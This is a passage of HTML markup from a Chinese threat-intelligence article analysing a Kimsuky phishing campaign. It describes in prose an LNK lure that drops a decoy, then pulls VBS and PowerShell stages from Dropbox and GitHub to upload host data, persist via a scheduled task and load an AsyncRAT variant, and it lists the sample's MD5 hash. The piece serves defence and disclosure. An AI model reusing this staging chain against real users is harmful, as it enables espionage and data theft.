UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">等，</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最早由</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Kaspersky在2013年公开披露。该组织长期针对朝鲜半岛目标国家的政府机构、外交部门、智库、媒体以及学术机构开展网络攻击活动，随后其攻击范围逐步扩大至包括北美洲、欧洲及其他地区的目标。Kimsuky组织主要以情报窃取为核心目的，持续通过鱼叉式网络钓鱼等方式获取敏感信息。</span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近年来，该组织在攻击手法上不断演进，常利用恶意文档（如HWP、Office宏文件）、脚本加载器、LNK文件以及多阶段载荷等</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">方式进行入侵，并结合自研恶意工具与开源工具实施持久化控制。尽管其活动多次被安全厂商披露，但该组织依然保持较高活跃度，持续调整战术与技术手段，在隐蔽性和攻击链复杂度方面呈现不断增强的趋势。</span></font></p></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、攻击活动分析</span></span></strong></p></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="paragraph"><h2 data-pm-slice="0 0 []" style="margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1. </span></span><b><font face="黑体"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></font></b></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3997395833333333" data-s="300,640" data-type="png" data-w="768" type="block" data-imgfileid="100024935" src="https://wechat2rss.xlab.app/img-proxy/?k=699c4ad8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKMVD7qq3UZbAAH7x9O8ZzwiaHSic0hhyncTXdTSTeAyIN82DE5gVoNGU3vQvKZXSgR4MccTGjPSWnHic9kicibU7Ltpu2K1PsAndm8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Kimsuky</span></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">通过</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">lnk文件</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">发起钓鱼攻击。用户</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">点击运行后</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">lnk文件携带的脚本会从自身解密出诱饵文件并打开，以此迷惑受害者，同时从Drop</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">box</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下载</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ta</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">skschd.vbs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本执行恶意功能，该</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">v</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">bs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">继续从攻击者的</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Gi</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">thub</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">仓库下载</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">do</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">wnloader</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本执行</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">,downloader</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">继续下载两个</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">p</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">o</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">w</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ershell</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本，功能分别是上传受害者电脑基本信息到攻击者仓库，同时创建计划任务执行</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ta</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">skschd.vbs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，另一个</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">p</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">s1</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本下载加密数据并解密出</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AsyncRAT变体</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">用于窃取敏感信息。</span></font></p><h2 style="text-indent: 0px;" data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2. </span></span><b><font face="黑体"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">载荷投递分析</span></span></font></b></h2><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次捕获样本</span></font></span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">名为</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">중국</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> CMG </span><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">인터뷰</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.docx.lnk</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”(中国</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> CMG 访谈.docx.lnk)</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，具体信息如下：</span></font></font></p><div><div><p><table style="width: 575px;"><tbody><tr><td data-colwidth="146"><p><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">MD5</span></span></span></p></td><td data-colwidth="429"><p><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">ba8e682a72c6a3e634c070f0fb057bf5</span></span></span></p></td></tr><tr><td data-colwidth="146"><p><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件大小</span></span></span></p></td><td data-colwidth="429"><p><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">156 KB (159,744 字节)</span></span></span></p></td></tr><tr><td data-colwidth="146"><p data-mpa-action-id="mp3otiugmmd"><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">文件名</span></span></span></p></td><td data-colwidth="429"><p data-mpa-action-id="mp3otrdb1xut"><span style="" data-pm-slice="0 0 []"><font><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">중국</span></span></span></font></span><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf=""> CMG </span></span></span><span style=""><font><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">인터뷰</span></span></span></font></span><span style="font-size: 16px;"><span style="border-color: rgb(0, 0, 0);font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">.docx.lnk</span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, 